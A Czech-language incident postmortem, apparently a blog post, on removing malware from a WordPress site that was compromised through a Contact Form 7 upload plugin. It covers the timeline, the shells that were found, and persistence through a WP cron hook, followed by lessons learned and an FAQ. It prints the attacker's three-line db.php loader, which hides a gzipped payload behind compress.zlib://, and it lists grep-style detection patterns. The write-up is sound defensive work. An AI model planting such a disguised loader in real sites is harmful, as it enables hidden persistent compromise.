db.php se vracel každých 10 minut

Tohle je veřejná verze interního postmortemu o odstranění malwaru z WordPressu. Vynechal jsem cesty na serveru, názvy databází a vše, co se týká klienta. Techniku jsem nechal celou, protože přesně ta chyběla mně, když jsem googlil „wordpress malware db.php".
Prostředí
WordPress na sdíleném LiteSpeed hostingu, správa přes ISPmanager. Contact Form 7 s rozšířením drag-and-drop-upload-cf7-pro pro nahrávání příloh z formuláře. Nic exotického. Přesně takový web, jaký má tisíc firem v Česku.
Pro kontext: free verze téhož pluginu má jen za rok 2026 dvě CVE na neautentizovaný upload libovolného souboru — CVE-2026-3459 v březnu a CVE-2026-5718 v dubnu. Zranitelný soubor inc/dnd-upload-cf7.php je v obou variantách stejný.
Časová osa
Kdy | Co |
|---|---|
~4. 6. | Průnik. Přes upload plugin nahrán první PHP soubor. |
16. 6. | Spuštěn self-deleting dropper |
16. 6. | První čištění. Dropper proces zabit, shelly smazány, |
21. 6. | Třetí vlna. |
31. 7. | Nalezena persistence v cronu pluginu. Cron smazán, plugin deaktivován. Regenerace končí. |
Mezi 21. 6. a 31. 7. je díra. V ní jsem to průběžně mazal ručně a věřil, že už to bylo naposledy. Ne, nebylo.
Vstupní bod
Plugin přijímal soubory z formuláře bez dostatečné validace typu. Do dočasné složky uploadů tak šel poslat PHP soubor a pak ho z prohlížeče zavolat. V error logu LiteSpeedu to zůstalo:
dnd-upload-cf7.php:934 — array_map(): Argument #2 must be of type array, string given
Input value: 'o0p96x'Náhodný šestiznakový string místo pole je otisk automatického exploitu. Nikdo to nedělal ručně.
Co na serveru vzniklo
Loader db.php. WordPress umí legitimní wp-content/db.php jako drop-in pro alternativní databázovou vrstvu. Proto se soubor s tímhle jménem nikomu nezdá podezřelý — a proto ho útočník použil. Obsah byl tříradkový:
$D1tv = function($x) { include $x; };
$H7 = 'compress.zlib://' . 'db.gz';
$D1tv($H7);Payload ležel vedle jako db.gz a načítal se přes stream wrapper compress.zlib://. Grep na eval, base64_decode nebo system nic nenajde, protože v db.php nic z toho není. Skutečný kód je zagzipovaný a ohodnotíte ho až po dekompresi.
Self-deleting dropper style1.php. Běžel jako dlouhý PHP proces, ~38 minut CPU, a průběžně sázel nové shelly. Po spuštění se sám smazal. Na disku jste ho neviděli, v ps ano.
Diagnostický webshell lzx2.php, čínského původu, s brandem 可達鴨. Průzkum serveru, čtení a mazání cronů, killování konkurenčních PHP procesů. Ano, konkurenčních. Na jednom kompromitovaném webu se občas sejde víc útočníků a řeší si to mezi sebou.
Obfuskovaný file manager, ~200 KB goto špaget, dvojjazyčné rozhraní, webový terminál, heslo. Uměl se sám kopírovat.
Backdoor wp-asudo.php, který tahal payload z dalšího .gz.
SEO spam. Ruský a čínský obsah, který se objevil v překladové cache Weglotu. To byl mimochodem důvod, proč si toho někdo vůbec všiml — ne bezpečnostní alert, ale divné texty v překladu.
Proč první čištění nestačilo
Odstranil jsem všechno, co bylo vidět: shelly, dropper, db.php, db.gz. Zkontroloval jsem crontaby všech uživatelů. Prošel jsem databázi na injektované snippety a spam — čistá. Pět dní klid.
Pak db.php znovu.
Persistence seděla v WordPress cronu, ne v systémovém. Hook wp_dnd_cf7_daily_cron s intervalem 10 minut. Jméno hooku patří pluginu — je to jeho legitimní úklid dočasných uploadů. Proto při prvním průchodu nevypadal podezřele a proto ho wp cron event list ukázal mezi normálními věcmi. Jenže plugin byl kompromitovaný a na tenhle hook se věšelo i to, co po každém mém úklidu vrátilo db.gz a db.php zpátky.
Lekce, kterou jsem si měl pamatovat z dřívějška: systémový crontab a WP cron jsou dvě různé věci a čistý crontab -l neznamená nic. wp cron event list je povinná zastávka, a u každého hooku, jehož jméno vypadá známě, se stejně podívat, co je na něj skutečně navěšené.
Odstranění malwaru: co jsem udělal
- Smazal cron event, deaktivoval plugin, smazal
db.phpadb.gznaposledy. - Prošel access log LiteSpeedu podle IP a časů z error logu. Prošel error log kvůli stopám exploitu.
- Zkontroloval
wp_optionsnaactive_plugins,crona cokoli obsahujícíhocompress.zlib,db.gz,file_put_contents. - Rotoval hesla a WordPress secret keys v
wp-config.php. - Zkontroloval ostatní weby na stejném hostingu na výskyt
db.phpa dalších souborů z tohoto incidentu. - Plugin deaktivoval. Zpátky se nevrátí.
Co bych udělal jinak
- Timeline hned od začátku.
find -newermtpodle času z error logu dá seznam všeho, co se změnilo od průniku. Já ho dělal až ve druhém kole. - Netahat věci ručně, když se vrátily. Jakmile se něco po čištění vrátí, není to nedodělaný úklid, je to persistence. Hledat mechanismus, ne mazat výsledek.
- Upload plugin = útočná plocha. Cokoli, co pouští cizí soubory na disk, potřebuje vlastní review a vlastní monitoring. Formulář s přílohou není „jen formulář".
- Sledovat
wp-content/*.php. V tom adresáři legitimně bývá pár drop-inů. Cokoli nového tam je alarm. Jednoduchý cron sfinda diffem proti whitelistu by tenhle incident zkrátil z osmi týdnů na deset minut.
Pro koho to je
Pokud máte WordPress s formulářem, který přijímá přílohy, zkontrolujte tři věci: verzi toho pluginu, obsah wp-content/ mimo standardní podadresáře a výstup wp cron event list. Zabere to pět minut. Mně to zabralo dva měsíce.
A pokud se vám něco po smazání vrací — nemažte to potřetí. Hledejte cron.
Časté otázky
- Co je db.php ve wp-content a je to normálně tam?
- Legitimně ano — WordPress ho načte jako drop-in pro alternativní databázovou vrstvu (používají ho třeba cache pluginy). Právě proto si ho útočníci vybírají. Pokud jste ho tam vědomě neinstalovali nebo ho tam nevytvořil známý plugin, je to malware.
- Proč se malware po smazání vrací?
- Protože jste smazali výsledek, ne mechanismus. Něco na serveru soubory znovu vytváří — nejčastěji WP cron hook, kompromitovaný plugin nebo téma, injekce v databázi (wp_options), nebo běžící PHP proces. Dokud to nenajdete, můžete mazat donekonečna.
- Jak zjistím, jestli mám škodlivý WP cron?
- wp cron event list vypíše všechny naplánované hooky. Nestačí se dívat na jména — hook může mít legitimní název z pluginu a přesto na něm visí cizí kód. Podívejte se, co se na hook reálně věší (grep -r "nazev_hooku" wp-content/), a u čehokoli s intervalem v minutách buďte podezřívaví.
- Co je compress.zlib:// a proč ho malware používá?
- PHP stream wrapper, který při include transparentně rozbalí gzip. Loader tak neobsahuje žádný podezřivý kód — jen include cesty — a skutečný payload leží vedle v .gz, kam grep na eval nebo base64_decode nedosáhne.
- Stačí plugin aktualizovat, nebo ho musím smazat?
- Aktualizace nepomůže, pokud byly soubory pluginu upraveny — update se může přepsat, ale injekce může sedět i jinde. Bezpečná cesta je plugin deaktivovat, kompletně smazat adresář a nainstalovat čistou verzi ze zdroje. Nebo ho nahradit.
- Jak poznám, že byl web napaden přes formulářový upload?
- V error logu serveru hledejte chyby z upload pluginu s divnými vstupy (náhodné krátké stringy místo očekávaných dat), v wp-content/uploads hledejte .php soubory a v access logu POST requesty na endpoint formuláře z jedné IP v krátkém sledu.